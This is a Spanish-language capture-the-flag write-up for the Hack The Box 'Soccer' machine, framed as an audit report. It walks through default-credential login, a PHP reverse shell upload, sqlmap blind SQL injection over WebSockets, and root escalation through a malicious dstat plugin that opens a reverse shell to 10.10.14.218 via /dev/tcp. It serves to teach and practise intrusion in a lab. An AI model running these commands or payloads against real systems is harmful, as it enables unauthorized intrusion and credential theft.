

REPORTE DE AUDITORÍA TÉCNICA & RESUMEN EJECUTIVO

Máquina: Soccer (Hack The Box) | Fecha: 27 de Junio, 2026 | Severidad: **CRÍTICA**

PART I: RESUMEN EJECUTIVO

1. Objetivos de la Evaluación

El propósito de esta auditoría fue identificar vectores de ataque explotables en la infraestructura externa expuesta del servidor, evaluar la seguridad de las aplicaciones web internas y determinar la viabilidad de una escalada de privilegios local a partir de un acceso inicial sin privilegios.

2. Hallazgos Clave e Impacto Técnico

La intrusión se completó con éxito a través de una cadena de explotación que abarcó tres debilidades críticas en el diseño y configuración del entorno:

- **Uso de Credenciales por Defecto (Severidad: Alta):** Se descubrió la aplicación *Tiny File Manager* expuesta públicamente. El sistema mantenía la configuración de fábrica, permitiendo el despliegue no autorizado de un archivo malicioso PHP (Reverse Shell) y otorgando acceso inicial como el usuario del servicio web (`www-data`).
- **Inyección SQL Ciega a través de WebSockets (Severidad: Alta):** Una auditoría interna reveló una aplicación secundaria en el subdominio `soc-player.soccer.htb` que procesaba datos estructurados en JSON mediante WebSockets de manera insegura, permitiendo la filtración de la base de datos corporativa y credenciales en texto plano del usuario `player`.
- **Configuración Permisiva de SUID/Doas (Severidad: Crítica):** El usuario común tenía permitido ejecutar la herramienta `dstat` como el usuario administrador `root` sin contraseña, facilitando la inyección de un script personalizado en Python para el control absoluto del servidor.

3. Recomendaciones Principales

1. Forzar la modificación inmediata de contraseñas por defecto en componentes de terceros.
2. Implementar parametrización estricta y consultas preparadas en el manejo de WebSockets para mitigar SQLi.
3. Aplicar el Principio de Menor Privilegio (POLP), restringiendo la escritura en directorios de librerías del sistema como los plugins de `dstat`.

PART II: ENTRADA TÉCNICA (WRITEUP)

1. Fase de Recopilación de Información y Enumeración

Para permitir la resolución local de nombres de dominio, se registró la dirección IP del objetivo dentro de `/etc/hosts`:

```
sudo echo "10.129.24.6  soccer.htb" >> /etc/hosts
```

Se realizó fuzzing de directorios web empleando FFUF y la lista de palabras Dirbuster medium:

```
export TGT="soccer.htb"
wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -w $wordlist -u http://$TGT/FUZZ/ -o output.txt -v
```

El escaneo identificó exitosamente el directorio interactivo `/tiny/` (Status: 200).

2. Fase de Análisis de Vulnerabilidades y Explotación

Al navegar a `http://soccer.htb/tiny/`, se detectó una instancia de **Tiny File Manager versión 2.4.3**. Una consulta a repositorios públicos confirmó las credenciales predeterminadas de administración:

- **Usuario:** admin
- **Contraseña:** admin@123

Aprovechando la consola de carga de archivos, se subió un archivo PHP de reversión de comandos, previamente configurado con la IP del atacante y el puerto de escucha, ejecutando la intrusión inicial:

```
nc -nlvp 4444
curl http://soccer.htb/tiny/uploads/shell.php
```

3. Movimiento Lateral (Auditoría Interna)

El análisis de conexiones internas reveló servicios locales en puertos no expuestos externamente:

```
www-data@soccer:/$ netstat -anop
tcp        0      0 127.0.0.1:3000          0.0.0.0:* LISTEN
tcp        0      0 0.0.0.0:9091            0.0.0.0:* LISTEN
```

La revisión de los bloques de servidores en Nginx (`/etc/nginx/sites-enabled/soc-player.htb`) expuso el host virtual `soc-player.soccer.htb` que interactúa mediante WebSockets sobre el puerto 9091. Se interceptaron las tramas JSON verificando la inyección SQL en el campo `id`.

Para la explotación sistemática de la inyección ciega sobre WebSockets, se utilizó sqlmap:

```
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch
```

id	email	password	username
1324	player@player.htb	PlayerOftheMatch2022	player

El uso de estas credenciales permitió el ingreso formal al servidor mediante SSH.

4. Escalada de Privilegios

Al auditar archivos SUID mediante `linpeas.sh`, se identificó el binario `doas`. Su configuración permitía privilegios elevados:

```
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
```

Debido a que el directorio de plugins de `dstat` (`/usr/local/share/dstat/`) permitía permisos de escritura al grupo del usuario actual, se inyectó un script malicioso en Python:

```
cat > /usr/local/share/dstat/dstat_hack.py << 'EOF'
import os
class dstat_plugin:
    def __init__(self):
        os.system('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.218/8888 0>&1"')
EOF
```

Finalmente, invocando `dstat` con privilegios elevados mediante `doas`, se obtuvo acceso total:

```
doas /usr/bin/dstat --hack
```

Confirmación de Compromiso

```
root@soccer:~# whoami
```

```
root
```

```
root@soccer:~# cat /root/root.txt
```

¡Sistema Comprometido con Éxito!